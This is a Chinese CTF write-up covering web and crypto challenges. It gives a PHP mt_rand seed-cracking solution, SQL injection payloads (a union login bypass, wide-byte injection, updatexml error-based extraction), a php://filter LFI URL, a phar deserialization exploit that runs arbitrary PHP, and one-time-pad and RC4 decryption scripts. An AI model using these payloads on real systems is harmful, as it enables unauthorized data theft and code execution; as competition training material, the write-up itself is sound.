安恒杯丨新春祈福赛

WEB

0x 01 枯燥的抽奖

  • 来源

    GWCTF2019

  • 解题过程

  1. 访问check.php得到源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 <?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

根据代码可知是使用mt_srand()生成20位随机数,并且知道随机数的前10位

  1. 这时我们可以用到一款工具php_mt_seed*(PHP mt_rand()种子破解程序)*

具体解法是先用脚本将伪随机数转换成php_mt_seed可以识别的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='RymjbZRSUv'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print res

//output:
53 53 0 61 24 24 0 61 12 12 0 61 9 9 0 61 1 1 0 61 61 61 0 61 53 53 0 61 54 54 0 61 56 56 0 61 21 21 0 61

使用https://www.openwall.com/php_mt_seed/爆破出种子

我们即可得到满足条件的seed:
seed = 0x29c11047 = 700518471 (PHP 7.1.0+)
爆破出伪随机数和php版本.

  1. 然后改写源码,生成完整字符串
1
2
3
4
5
6
7
8
9
10
11
12
<?php
mt_srand(700518471);

$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;

?>

0x 02 BabySqli

  • 来源

    GXYCTF2019

  • 解题过程

  1. 题目提示了用md5做哈希,fuzz可以知道admin是账号。题目过滤了小括号、or和=,没有过滤union,用union万能密码绕过即可
1
2
3
4
# username:
-1' union select 1, 'admin', '202cb962ac59075b964b07152d234b70' #
# password:
123

0x 03 BabySqli 2

  • 来源

    GXYCTF2019

  • 解题过程

  1. 题目提示了支持中文,就可以想到宽字节,登陆之后发现有一个显示位,可以通过联合查询得到flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
题目考点和过滤:
宽字节注入,过滤0x,union select where置空

# 显示database
name=1%df%27ununionion%20selselectect%201,char(97,100,109,105,110),database()%23&pw=1
# 得到数据库名为web_sqli

# 显示表名
name=1%df%27ununionion%20selselectect%201,char(97,100,109,105,110),group_concat(table_name)%20from%20information_schema.tables%20whwhereere%20table_schema=database()%23&pw=1
# 得到表名为f14g,user

# 显示f14g列名
name=1%df%27ununionion%20selselectect%201,char(97,100,109,105,110),group_concat(column_name)%20from%20information_schema.columns%20whwhereere%20table_name%20=%20char(102,49,52,103)%23&pw=1
# 得到f14g列名为b80bb7740288fda1f201890375a60c8f,327a6c4304ad5938eaf0efb6cc3e53dc

# 拿到flag
name=1%df%27ununionion%20selselectect%201,char(97,100,109,105,110),327a6c4304ad5938eaf0efb6cc3e53dc%20from%20f14g%20limit%2022,1%23&pw=1

报错注入payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 显示database
name=admin%df%27%20and%20updatexml(1,concat(1,database()),1)%20--+&pw=1

# 显示表名
name=admin%df%27%20and%20updatexml(1,concat(1,(seSELECTlect%20group_concat(table_name)%20from%20information_schema.tables%20whWHEREere%20table_schema=database()%20limit%200,1)),1)%20--+&pw=1
# Error: XPATH syntax error: 'f14g,user'

# 显示f14g列名
name=admin%df%27%20and%20updatexml(1,concat(1,%20(seSELECTlect%20group_conca
t(column_name)%20from%20information_schema.columns%20wherWHEREe%20TABLE_NAME
=char(102,49,52,103))),1)%20--+&pw=1
# Error: XPATH syntax error: 'b80bb7740288fda1f201890375a60c8f'

# 查字段
name=admin%df%27%20and%20updatexml(1,concat(1,(seleSELECTct%20concat(327a6c4304ad5938eaf0efb6cc3e53dc)%20from%20f14g%20limit%200,1),1),1)%20--+%20&pw=y1ng
# Error: XPATH syntax error: 'VGhlIGZpcnN0IG1hbiBuYW1lIHdhcyBr'

# 查flag
name=admin%df%27%20and%20updatexml(1,concat(1,(seleSELECTct%20concat(327a6c4304ad5938eaf0efb6cc3e53dc)%20from%20f14g%20limit%2022,1),1),1)%20--+%20&pw=1
# Error: XPATH syntax error: 'R1hZe2cwT2Rfam9iMWltX3NvX3ZlZ2V0'
# 因为 updatexml 返回最大长度就是32,超过32位的被丢弃了,所以上面无论是歌词还是flag,base64都经常缺个尾
# substr() 可以指定从字符串的某个位置开始,返回自定义长度:
name=admin%df%27 and updatexml(1,concat(1, substr((seleSELECTct concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 22,1),10,32)),1) --+ &pw=11
得到后半部分,拼接得到flag

参考链接:https://www.colabug.com/2019/1225/6768296/amp/

0x 04 Babysqliv3.0

  • 来源

    GXYCTF2019

  • 解题过程

  1. 在登录页查看源码可以看到<!-- u9db8 -->,可以用Unicode解码得到鶸,说明这是一个弱口令,并不是注入题,用弱口令字典可以跑出来,账号口令是admin/password,即可成功登陆
  2. 登陆发现是一个文件上传,简单操作后发现只能上传txt文件;然后发现url里有引用,猜测可能存在LFI(Local File Include),使用filter协议可以看网站源码。
1
http://183.129.189.60:10009/home.php?file=php://filter/convert.base64-encode/resource=upload

home.php源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;


function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}

$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}

function upload($file){
global $sandbox;
global $ext;

if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}

function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}

function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}

if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}

?>

官方解法:

只要构造一个phar反序列化文件,将命令替换为getflag操作,再把检查的token替换为服务器分发的,最后控制文件名进行反序列化操作,达到任意命令执行的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 使用时请将上文中的对象代码粘贴到本代码之前
<?php
@unlink("exp.phar");
$phar = new Phar("exp.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Uploader();
$o->token = "GXYb4b627c1236f2c1b9463e18e0e7bfe30";
$o->cmd = "echo file_get_contents('./flag.php');";
$o->Filename =
"phar://uploads/909c00f0b41f82ef8c579546b5ed765e/GXYb4b627c1236f2c1b9463e18e
0e7bfe30.txt";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("a", "a"); //添加要压缩的文件
$phar->stopBuffering();
?>

非预期解法:

控制URL中name参数直接上传php文件

nepnep战队解法:

在upload.php页面上传,get提交参数name=flag.php

CRYPTO

0x 01 密码本(提交你找到的字符串的md5值)

1
2
3
4
5
6
这个密码本本该只使用一次的,但是却使用了多次,导致密文易被破解
经过一番尝试发现,秘钥的首字母很可能是y,剩下的就靠你了

cip1: rlojsfklecby
cip2: ulakqfgfsjlu
cip3: dpaxwxtjgtay

参考解法:https://blog.csdn.net/qq_34072526/article/details/88074122

1
2
3
4
5
6
7
8
9
10
11
12
key = 'yearofthepig'
t1 = 'rlojsfklecby'
t2 = 'ulakqfgfsjlu'
t3 = 'dpaxwxtjgtay'
res1 = res2 = res3 = ''
for i in range(len(key)):
res1 += chr((ord(t1[i]) - ord(key[i])) %26 + ord('a'))
res2 += chr((ord(t2[i]) - ord(key[i])) %26 + ord('a'))
res3 += chr((ord(t3[i]) - ord(key[i])) %26 + ord('a'))
print res1
print res2
print res3

转换为md5即为flag

0x 02 EasyProgram

这道题给出的是伪代码,从伪代码中可以看出,这是一个RC4加密,于是使用RC4解密即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# -*- coding: utf-8 -*-
import io
f = io.open('file.txt','r',encoding='ISO-8859-1')
c = f.read()
t = []
key = 'whoami'
ch = ''
j = 0 #初始化
s = list(range(256)) #创建有序列表
for i in range(256):
j = (j + s[i] + ord(key[i % len(key)])) % 256
s[i],s[j] = s[j],s[i]
i = 0 #初始化
j = 0 #初始化
for r in c:
i = (i + 1) % 256
j = (j + s[i]) % 256
s[i], s[j] = s[j], s[i]
x = (s[i] + (s[j] % 256)) % 256
ch += chr(ord(r) ^ s[x])
print(ch)

参考链接:RC4加密算法原理简单理解